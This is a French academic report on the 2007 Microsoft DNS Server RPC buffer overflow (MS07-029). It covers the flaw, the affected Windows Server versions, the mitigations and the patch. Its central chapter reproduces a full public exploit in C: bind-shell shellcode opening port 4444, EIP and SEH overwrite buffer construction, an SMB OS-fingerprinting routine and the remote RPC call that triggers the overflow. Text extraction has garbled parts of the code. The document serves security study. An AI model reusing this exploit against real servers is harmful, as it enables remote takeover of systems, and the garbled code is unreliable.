DNS Server RPC Interface buffer overflow. Céline COLLUMEAU Nicolas BODIN



Documents pareils
GlobalScape Secure FTP Server Buffer Overflow

1. Structure d un programme C. 2. Commentaire: /*..texte */ On utilise aussi le commentaire du C++ qui est valable pour C: 3.

Exercice sur les Dockers

Le prototype de la fonction main()

OS Réseaux et Programmation Système - C5

Instructions Mozilla Thunderbird Page 1

Prérequis. Résolution des problèmes WMI. Date 03/30/2010 Version 1.0 Référence 001 Auteur Antoine CRUE

Le Langage C Version 1.2 c 2002 Florence HENRY Observatoire de Paris Université de Versailles florence.henry@obspm.fr

INFO-F-404 : Techniques avancées de systèmes d exploitation

Nmap (Network Mapper) Outil d exploration réseau et scanneur de ports/sécurité

Outils d'analyse de la sécurité des réseaux. HADJALI Anis VESA Vlad

Introduction aux buffer overflow, CS335

Prérequis réseau constructeurs

Sécurisation du réseau

Programmation système de commandes en C

Fonctionnement Kiwi Syslog + WhatsUP Gold

Utiliser une WebCam. Micro-ordinateurs, informations, idées, trucs et astuces

Configuration Routeur DSL pour Xbox LIVE ou PlayStation-Network

Table des matières. 1. Installation de VMware ESXI Pré-requis Installation... 3

3IS - Système d'exploitation linux - Programmation système

Compromettre son réseau en l auditant?

Le langage C. Séance n 4

Installation de Vmware serveur Windows

Standard. Manuel d installation

Communication par sockets

Brefs rappels sur la pile et le tas (Stack. / Heap) et les pointeurs

S28 - La mise en œuvre de SSO (Single Sign On) avec EIM (Enterprise Identity Mapping)

Les risques HERVE SCHAUER HSC

Aide à la Détection de Faiblesses d un site Web Mandataire inverse, Modsecurity

Firewall IDS Architecture. Assurer le contrôle des connexions au. Sécurité 1

Réseaux. Moyens de sécurisation. Plan. Evolutions topologiques des réseaux locaux

Table des matières. Avant-propos... Préface... XIII. Remerciements...

acpro SEN TR firewall IPTABLES

Testez votre installation. Créer un répertoire vide

HAUTE DISPONIBILITÉ DE MACHINE VIRTUELLE AVEC HYPER-V 2012 R2 PARTIE CONFIGURATION OPENVPN SUR PFSENSE

STS SE. FreeRTOS. Programmation réseau WIFI. Programmation réseau. Socket Tcp. FlyPort smart Wi-Fi module

1/24. I passer d un problème exprimé en français à la réalisation d un. I expressions arithmétiques. I structures de contrôle (tests, boucles)

Sécurité des réseaux Les attaques

Travaux pratiques : dépannage de la configuration et du placement des listes de contrôle d'accès Topologie

Installation et configuration de SQL Server 2008 R2 (v3)

REMBO Version 2.0. Mathrice 2004 DESCRIPTION MISE EN OEUVRE CONCLUSION.

Lier Erlang avec d autres langages de programmation

Sécurité des applications web. Daniel Boteanu

Cahier des charges. driver WIFI pour chipset Ralink RT2571W. sur hardware ARM7

VTP. LAN Switching and Wireless Chapitre 4

EPREUVE PRATIQUE DES TECHNIQUES INFORMATIQUES ACTIVITE N 1. Thème de l activité : Configuration d un firewall

Cours de C. Petits secrets du C & programmation avancée. Sébastien Paumier

(Third-Man Attack) PASCAL BONHEUR PASCAL 4/07/2001. Introduction. 1 Domain Name Server. 2 Commandes DNS. 3 Hacking des serveurs DNS

Cours de C. Allocation dynamique. Sébastien Paumier

GENERALITES. COURS TCP/IP Niveau 1

DIFF AVANCÉE. Samy.

Les structures de données. Rajae El Ouazzani

Application Form/ Formulaire de demande

Guide d installation BiBOARD

WEB page builder and server for SCADA applications usable from a WEB navigator

Applications client/serveur TCP/IP - Sockets Rappels. C.Crochepeyre Applications CS 1

WDpStats Procédure d installation

Guide d'installation et de configuration de Pervasive.SQL 7 dans un environnement réseau Microsoft Windows NT

NetCrunch 6. Superviser

Programmation Réseau SSH et TLS (aka SSL)

Installation de SCCM 2012 (v2)

04002-LOR 2004 Mars 2004

Installation Windows 2000 Server

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN

1. Fonctionnement de l Internet 2. Protocoles applicatifs 3. Programmation réseau

GFI LANguard Network Security Scanner 6. Manuel. Par GFI Software Ltd.

Contents Windows

Les attaques par corruption de mémoire Synopsis Mickael Deloison 22/10/2008

Initiation à la sécurité

SECURITE. Figure 1. Incident réseau, source CERT. Nombre. Sécurité

SERVEUR DÉDIÉ DOCUMENTATION

EPREUVE OPTIONNELLE d INFORMATIQUE CORRIGE

Programmation Internet en Java

Serveur FTP. 20 décembre. Windows Server 2008R2

1 Configuration des Fichiers Hosts, Hostname, Resolv.conf

SQL Server et Active Directory

Tous les logiciels cités dans ce document sont des marques déposées de leurs propriétaires respectifs

Cours d Algorithmique-Programmation 2 e partie (IAP2): programmation 24 octobre 2007impérative 1 / 44 et. structures de données simples

Manuel de l Administrateur

Oléane VPN : Les nouvelles fonctions de gestion de réseaux. Orange Business Services

VOIP. QoS SIP TOPOLOGIE DU RÉSEAU

Skype (v2.5) Protocol Data Structures (French) Author : Ouanilo MEDEGAN

Architecture des ordinateurs

GESLAB_Pre-Requis_v2.0.doc 01/03/2013. Pré-Requis

Quick Start Guide This guide is intended to get you started with Rational ClearCase or Rational ClearCase MultiSite.

(1) Network Camera

Comment Accéder à des Bases de Données MySQL avec Windows lorqu'elles sont sur un Serveur Linux

WORKSHOP OBIEE 11g (version ) PRE-REQUIS:

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

Ces deux machines virtuelles seront installées sous VMWARE WORKSTATION.

Bravo! Vous venez d acquérir un routeur large bande à 4 ports Conceptronic C100BRS4H.

Firewall. Souvent les routeurs incluent une fonction firewall qui permet une première sécurité pour le réseau.

CONVERTISSEUR RS 232/485 NOTICE

Playing with ptrace() for fun and profit

TEST D INTRUISION. Document Technique

Développement d un logiciel de messagerie instantanée avec Dotnet (version simplifiée)

Cours de sécurité. Pare-feux ( Firewalls ) Gérard Florin -CNAM - - Laboratoire CEDRIC -

TAGREROUT Seyf Allah TMRIM

Guide d'installation rapide TFM-560X YO.13

et Active Directory Ajout, modification et suppression de comptes, extraction d adresses pour les listes de diffusion

Transcription:

Mémoire DNS Server RPC Interface buffer overflow Céline COLLUMEAU Nicolas BODIN 3 janvier 2009

Table des matières 1 Introduction 2 2 Présentation de la faille 3 3 Exemple d exploitation 5 4 Solutions 10 5 Conclusion 11 6 Bibliographie 12 1

Chapitre 1 Introduction Ce mémoire présente la faille apparue sur les serveurs DNS en avril 2007 au niveau de la programmation de leur interface RPC. Un serveur DNS (Domain Name Serveur) est un serveur de résolution de nom. Il permet de faire les associations entre noms de domaine et adresses ip. RPC (Remote Procedure Call) est un protocole qu un programme peut utiliser pour demander un service à un autre programme situé sur une autre machine du réseau. Il permet de gérer les différents messages entre un client et un serveur. Nous allons donc étudier dans une première partie la faille en elle-même, puis nous verrons un exemple d attaque qu il est possible de réaliser et enfin nous parlerons des solutions qui ont été proposées. 2

Chapitre 2 Présentation de la faille Des attaquants ont découvert que l implémentation de la gestion des requêtes d appel à distance RPC des serveurs DNS permettaient de faire une attaque du type buffer overflow sur ces serveurs. Elle permet la saturation de la mémoire tampon dans l interface de gestion des RPC. En effet, l envoi d une requête spéciale à l un de ces serveurs permet d éxécuter du code arbitraire avec les privilèges du compte local système. La gestion de l interface RPC se fait habituellement via un port tcp compris entre le port 1024 et le port 5000 alloué dynamiquement. Elle peut cependant aussi être exploitée via les ports tcp/udp 139 ou 445. Dans ces deux derniers cas il faut être authentifié pour y accéder. L erreur de programmation se situe plus précisemment dans la fonction Lookup ZoneTreeNodeFromDottedName(). Elle utilise un buffer local fixé qui permet de convertir une chaine pouvant contenir des anti-slash en utilisant la fonction Name ConvertFileNameToCountName(). Il est ainsi possible de dépasser le buffer en utilisant une suite de caractères constituée de plusieurs anti-slash. Ce type d attaque permet donc de prendre le contrôle à distance de l un de ses serveurs DNS, d y installer des programmes, de regarder, changer des données, c est à dire de pouvoir tout faire! La faille des serveurs DNS a été publiée officiellement dans l avis de sécurité 935964 le 12 Avril 2007, la correction de la faille a été quant à elle donnée dans le bulletin de sécurité MS07-029 le 8 Mai 2007. Elle concerne les serveurs suivants : Microsoft Windows Server 2003 x64 SP2 Microsoft Windows Server 2003 x64 SP1 Microsoft Windows Server 2003 Itanium SP2 3

Microsoft Windows Server 2003 Itanium SP1 Microsoft Windows Server 2003 Enterprise x64 Edition SP2 Microsoft Windows Server 2003 Datacenter x64 Edition SP2 Microsoft Windows 2000 Server SP4 Microsoft Small Business Server 2003 Premium Edition Microsoft Small Business Server 2003 Microsoft Small Business Server 2000 0 3DM Software Disk Management Software SP2 3DM Software Disk Management Software SP1 Les serveurs Windows XP, Windows Vista et Windows Professional SP4 ne sont quant à eux pas vulnérables à cette faille car il ne contiennent pas le code vulnérable. 4

Chapitre 3 Exemple d exploitation Nous allons maintenant présenter un exemple d attaque qui peut être réalisée sur cette faille. L exploit présenté ci-dessous a été testé sur les serveurs Windows 2000 SP4 et Windows 2003 SP2. La première étape est de détecter le système d exploitation du serveur cible, si ce n est pas l un des deux ci-dessus l attaque ne peut être réalisée. On crée alors une connexion RPC, si on y arrive, on peut alors initialiser les cinq paramètres de la fonction DnssrvQuery qui permet de faire une requêt auprès du serveur DNS. Le second paramètre contient un buffer que l on rempli de caractères \ alternés avec des a. On utilise ensuite la technique du buffer overflow qui consiste à ajouter d autres termes à la suite du buffer pour écraser l eip, et y mettre l adresse du shellcode souhaité ainsi qu à ajouter à la suite le shellcode. On envoie ensuite le paquet contenant le buffer au serveur et on vérifie que le paquet a bien été reçu sans problèmes. Voici donc le shellcode et le main de cet exploit. #include <stdio.h> #include <stdlib.h> #include <ctype.h> #include "dnsxpl.h" #include <winsock.h> #pragma comment(lib,"ws2_32") void RPC_FAR * RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); void RPC_USER midl_user_free(void RPC_FAR * ptr){ free(ptr); int fingerprint (char *host); BYTE * find_jmp (BYTE *lpaddress, DWORD dwsize); unsigned char buf[] = /* Bindshell 4444 */ "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18" "\xc0\x9e\xb3\x83\xeb\xfc\xe2\xf4\xe4\xaa\x75\xfe\xf0\x39\x61\x4c" "\xe7\xa0\x15\xdf\x3c\xe4\x15\xf6\x24\x4b\xe2\xb6\x60\xc1\x71\x38" "\x57\xd8\x15\xec\x38\xc1\x75\xfa\x93\xf4\x15\xb2\xf6\xf1\x5e\x2a" "\xb4\x44\x5e\xc7\x1f\x01\x54\xbe\x19\x02\x75\x47\x23\x94\xba\x9b" "\x6d\x25\x15\xec\x3c\xc1\x75\xd5\x93\xcc\xd5\x38\x47\xdc\x9f\x58" "\x1b\xec\x15\x3a\x74\xe4\x82\xd2\xdb\xf1\x45\xd7\x93\x83\xae\x38" "\x58\xcc\x15\xc3\x04\x6d\x15\xf3\x10\x9e\xf6\x3d\x56\xce\x72\xe3" "\xe7\x16\xf8\xe0\x7e\xa8\xad\x81\x70\xb7\xed\x81\x47\x94\x61\x63" "\x70\x0b\x73\x4f\x23\x90\x61\x65\x47\x49\x7b\xd5\x99\x2d\x96\xb1" "\x4d\xaa\x9c\x4c\xc8\xa8\x47\xba\xed\x6d\xc9\x4c\xce\x93\xcd\xe0" 5

"\x4b\x93\xdd\xe0\x5b\x93\x61\x63\x7e\xa8\x8f\xef\x7e\x93\x17\x52" "\x8d\xa8\x3a\xa9\x68\x07\xc9\x4c\xce\xaa\x8e\xe2\x4d\x3f\x4e\xdb" "\xbc\x6d\xb0\x5a\x4f\x3f\x48\xe0\x4d\x3f\x4e\xdb\xfd\x89\x18\xfa" "\x4f\x3f\x48\xe3\x4c\x94\xcb\x4c\xc8\x53\xf6\x54\x61\x06\xe7\xe4" "\xe7\x16\xcb\x4c\xc8\xa6\xf4\xd7\x7e\xa8\xfd\xde\x91\x25\xf4\xe3" "\x41\xe9\x52\x3a\xff\xaa\xda\x3a\xfa\xf1\x5e\x40\xb2\x3e\xdc\x9e" "\xe6\x82\xb2\x20\x95\xba\xa6\x18\xb3\x6b\xf6\xc1\xe6\x73\x88\x4c" "\x6d\x84\x61\x65\x43\x97\xcc\xe2\x49\x91\xf4\xb2\x49\x91\xcb\xe2" "\xe7\x10\xf6\x1e\xc1\xc5\x50\xe0\xe7\x16\xf4\x4c\xe7\xf7\x61\x63" "\x93\x97\x62\x30\xdc\xa4\x61\x65\x4a\x3f\x4e\xdb\xe8\x4a\x9a\xec" "\x4b\x3f\x48\x4c\xc8\xc0\x9e\xb3"; int local=1; void cdecl main(int argc, char *argv[]) { RPC_STATUS status; unsigned char * pszuuid = "50abc2a4-574d-40b3-9d66-ee4fd5fba076"; unsigned char * pszprotocolsequence = "ncacn_np"; unsigned char * psznetworkaddress = NULL; unsigned char * pszendpoint = "\\pipe\\dnsserver"; unsigned char * pszoptions = NULL; unsigned char * pszstringbinding = NULL; unsigned long ulcode; int os; printf(" -------------------------------------------------------\n"); printf(" Microsoft Dns Server local & remote RPC Exploit code (port 445)\n"); printf(" Exploit code by Andres Tarasco & Mario Ballano\n"); printf(" Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)\n"); printf(" -------------------------------------------------------\n\n"); if (argc!=2) { printf(" [-] Usage: %s <ip>\n",argv[0]); exit(1); psznetworkaddress=argv[1]; if (strcmp(argv[1],"127.0.0.1")!=0) { local=0; //Test if the remote server is supported (2k & 2k3) os=fingerprint(psznetworkaddress); if (os==-1) { printf("[-] Unable to fingerprint remote Host\n"); exit(-1); else { switch (os) { case 0: printf("[+] Remote Host identified as Windows 2000\n"); break; case 1: printf("[-] Remote Host identified as Windows XP\n"); exit(1); break; case 2: printf("[+] Remote Host identified as Windows 2003\n"); break; default: printf("[-] Unknown Remote Host OS\n");exit(1); break; //Create an RPC connection status = RpcStringBindingCompose(pszUuid,pszProtocolSequence,pszNetworkAddress,pszEndpoint, pszoptions,&pszstringbinding); printf("[+] Connecting to %s\n", pszstringbinding); if (status==rpc_s_ok) { status = RpcBindingFromStringBinding(pszStringBinding,&dns); printf("[+] RpcBindingFromStringBinding returned 0x%x\n", status); if (status==rpc_s_ok) { wchar_t *parama=l"paramaa"; //Rpc call parameter1 unsigned char *paramb=null; //Rpc call parameter2 that triggers overflow unsigned char *paramc="paramc";//rpc call parameter3 long *paramd = malloc(50); //Rpc call parameter4 long *parame=malloc(50); //rpc call paramameter5 int i,j; long ret; if (os==0) { //Windows 2000 Server exploit #define BUFSIZE (0x3A2 +8 +24 +sizeof(buf)*2) paramb=malloc(bufsize +1); //Alloc needed space memset(paramb, \\,BUFSIZE); //Fill the whole buffer with \ for(i=0;i<=0x3a2;i+=2) { //0x3A2 chars needed to trigger the overflow paramb[i+1]= a ; 6

paramb[0x3a2+1]=0xf8; //overwrite EIP with return address 0x79467EF8 (kernel32.dll call esp) paramb[0x3a2+3]=0x7e; //Change it to match your system paramb[0x3a2+5]=0x46; //Just execute findjmp2 kernel32.dll esp paramb[0x3a2+7]=0x79; //and have fun :-) //Pad with 3 DWORDS (our shellcode is at ESP, 12 bytes above) memcpy(&paramb[0x3a2+8],"\\a\\a\\a\\a\\b\\b\\b\\b\\c\\c\\c\\c",24); i=0x3a2+8+24; //set the possition for our shellcode for(j=0;j<sizeof(buf);j++) { paramb[i+1]=buf[j]; //add the shellcode to the buffer i+=2; paramb[bufsize]= \0 ; else { //Windows 2003 server exploit. Overwrite SEH handler #undef BUFSIZE #define BUFSIZE 10000 #define Base2Search (BYTE *)(0x7ffb0000) // AnsiCodePageData #define SEH_HANDLER_DELTA 0x661 DWORD jmpoffset=0x7ffc07a4; //This AnsiCodePageData offset works for me on a VMWare paramb=malloc(bufsize +1); memset (paramb, \\,BUFSIZE); for( i=0 ; i< BUFSIZE; i+=2 ) { paramb[i+1]= a ; //Adding jmp $ + 6 paramb[seh_handler_delta*2-7] paramb[seh_handler_delta*2-5] paramb[seh_handler_delta*2-3] paramb[seh_handler_delta*2-1] =0x90; =0x90; =0xEB; =0x04; //add ret for SEH if (local) { DWORD Off2popAndRet = (DWORD) find_jmp(base2search,0x100000);//search AnsiCodePageData for valid rets if(off2popandret) { printf("[+] Valid Offset found at 0x%p!!\n", Off2popAndRet); paramb[seh_handler_delta*2+1] =(unsigned char) Off2popAndRet & 0xFF; paramb[seh_handler_delta*2+3] =(unsigned char) (Off2popAndRet >>8 ) & 0xFF; paramb[seh_handler_delta*2+5] =(unsigned char) (Off2popAndRet >> 16 ) & 0xFF; paramb[seh_handler_delta*2+7] =(unsigned char) (Off2popAndRet >> 24 ) & 0xFF; else { printf("[-] Unable to locate valid PopAndRet\n"); exit(-1); else { //jmpoffset (shouldnt work most times as its different for other systems) paramb[seh_handler_delta*2+1] =(unsigned char) jmpoffset & 0xFF; paramb[seh_handler_delta*2+3] =(unsigned char) (jmpoffset >>8 ) & 0xFF; paramb[seh_handler_delta*2+5] =(unsigned char) (jmpoffset >> 16 ) & 0xFF; paramb[seh_handler_delta*2+7] =(unsigned char) (jmpoffset >> 24 ) & 0xFF; i=seh_handler_delta*2+8; for(j=0;j<sizeof(buf)-1;j++) { paramb[i+1]=buf[j]; //add the Shellcode i+=2; paramb[bufsize]= \0 ; printf("%s\n",paramb);//exit(1); printf("[+] Calling remote procedure DnssrvOperation()\n"); printf("[+] Now try to connect to port 4444\n"); RpcTryExcept { ret=dnssrvquery(parama,paramb,paramc,paramd,parame) ; //send the overflow call printf("[-] Return code: %i\r",ret); RpcExcept(1) { ulcode = RpcExceptionCode(); //Show returned errors from remote DNS server printf("[-] RPC Server reported exception 0x%lx = %ld\n", ulcode, ulcode); switch (ulcode) { case 5:printf("[-] Access Denied, authenticate first with \"net use \\\\%s pass /u:user\"\n",argv[1]);break; case 1722:printf("[-] Looks like there is no remote dns server\n"); break; case 1726:printf("[-] Looks like remote RPC server crashed :/\n"); break; //TODO revisar error code default: break; RpcEndExcept 7

Nous allons maintenant nous intéresser aux deux fonctions utilisées par le main : find jmp et fingerprint. La fonction find jmp cherche deux pop et un ret à la suite ou un appel à DWORD ptr[esp+8]. BYTE * find_jmp (BYTE *lpaddress, DWORD dwsize) { DWORD i; BYTE *p; BYTE *retval = NULL; printf("[+] Searching 0x%x bytes\n",dwsize); for (i=0;i<(dwsize-4);i++) { p = lpaddress + i; // Search for POP + POP + RET if ((p[0]>0x57) && (p[0]<0x5f) && (p[1]>0x57) && (p[1]<0x5f) && (p[2]>0xc1) && (p[2]<0xc4)){ retval = p; break; // Search for CALL DWORD PTR [ESP+8] if ( (p[0] == 0xFF) && (p[1] == 0x54) && (p[2] == 0x24) && (p[3]==0x8) ) { retval = p; break; return retval; La fonction fingerprint permet de détecter le système d exploitation utilisé, ce qui renvoie 0 pour Windows 2000, 1 pour Windows XP, 2 pour Windows 2003 et -1 en cas d erreur. int fingerprint (char *host) { char req1[] = "\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f" "\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02" "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f" "\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70" "\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30" "\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54" "\x20\x4c\x4d\x20\x30\x2e\x31\x32"; char req2[] = "\x00\x00\x00\xa4\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe" "\x00\x00\x10\x00\x0c\xff\x00\xa4\x00\x04\x11\x0a\x00\x00\x00\x00" "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xd4\x00\x00\x80\x69\x00\x4e" "\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xe0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00" "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00" "\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00" "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00" "\x2e\x00\x30\x00\x00\x00\x00"; WSADATA ws; int sock; struct sockaddr_in remote; unsigned char buf[0x300]; int i; OSVERSIONINFO os; if (local) { os.dwosversioninfosize =sizeof(osversioninfo); GetVersionEx(&os); //printf("os: %i - %i\n",os.dwmajorversion, os.dwminorversion); if (os.dwmajorversion==5) return (os.dwminorversion); else return(-1); if (WSAStartup(MAKEWORD(2,0),&ws)!=0) { 8

printf("[-] WsaStartup() failed\n"); exit(1); //NetWkstaGetInfo remote.sin_family = AF_INET; remote.sin_addr.s_addr = inet_addr(host); remote.sin_port = htons(445); sock=socket(af_inet, SOCK_STREAM, 0); printf("[+] Trying to fingerprint target.. "); if (connect(sock,(struct sockaddr *)&remote, sizeof(remote))>=0) { if (send(sock, req1, sizeof(req1),0) >0) { if (recv(sock, buf, sizeof (buf), 0) > 0) { if (send(sock, req2, sizeof(req2),0) >0) { i=recv(sock, buf, sizeof (buf), 0); if (i>0) { printf("%2.2x %2.2x\n",buf[0x60-1], buf[0x60]); if (buf[0x60-1]==5) { return(buf[0x60]); else { printf("[-] Unssuported OS\n"); else { printf("[-] Recv2 failed\n"); else { printf("[-] Send2 failed\n"); else { printf("[-] Recv failed\n"); else { printf("[-] Send failed\n"); else { printf("\n[-] Connect failed\n"); return(-1); Cet exploit écrit par Mario Ballano et Andres Tarasco s attaque au port 445 particulièrement. 9

Chapitre 4 Solutions Avant qu une mise à jour ne soit proposée par Microsoft, il n y avait que des moyens de réduire les risques. Voici quelques exmples qui ont été donnés pour réduire les possibilités d exploiter cette faille. Une première méthode est de désactiver la gestion à distance des RPC via la gestion des clés de registre. On peut le faire à la main en utilisant regedit ou en utilisant un script de déploiement. On utilise la clé de registre RpcProtocol qui mise à 4 réduit l interface DNS RPC aux appels de procédure locaux. On peut aussi la mettre à 0, mais dans ce cas, tous les appels distants et locaux seront désactivés. Une autre méthode consiste à bloquer les communications entrantes non sollicitées sur les ports tcp et udp 139 et 445 ainsi que tous les ports supérieurs à 1024 au niveau du pare-feu. Cette méthode empêche aussi la gestion à distance du serveur. On peut aussi utiliser le filtrage TCP/IP avancé pour bloquer tout le traffic entrant non sollicité. Le 8 Mai 2007, une mise à jour a été proposée par Microsoft. Elle modifie la façon dont RPC valide la longueur d un message avant de le passer dans un tampon alloué. 10

Chapitre 5 Conclusion Nous avons donc étudié la faille qui se trouvait sur les serveurs DNS. Elle permettait à un attaquant de faire un exploit du type buffer overflow sur le serveur pour en prendre le contrôle complet. Microsoft a proposé une mise à jour de leurs serveurs quelques temps après avoir annoncé officiellement qu il y avait une faille. Depuis, des pirates ont déjà tenté d autres attaques sur ces serveurs pour trouver d autres failles. A quand la prochaine attaque concluante? 11

Chapitre 6 Bibliographie http ://www.kb.cert.org/vuls/id/555920 http ://www.microsoft.com/technet/security/bulletin/ms07-029.mspx http ://blogs.technet.com/msrc/archive/2007/04/12/microsoft-securityadvisory-935964-posted.aspx http ://www.microsoft.com/technet/security/advisory/935964.mspx http ://www.frsirt.com/english/advisories/2007/1366 http ://www.securityfocus.com/bid/23470 http ://www.securitytracker.com/id?1017910 http ://www.514.es/microsoft Dns Server Exploit.zip 12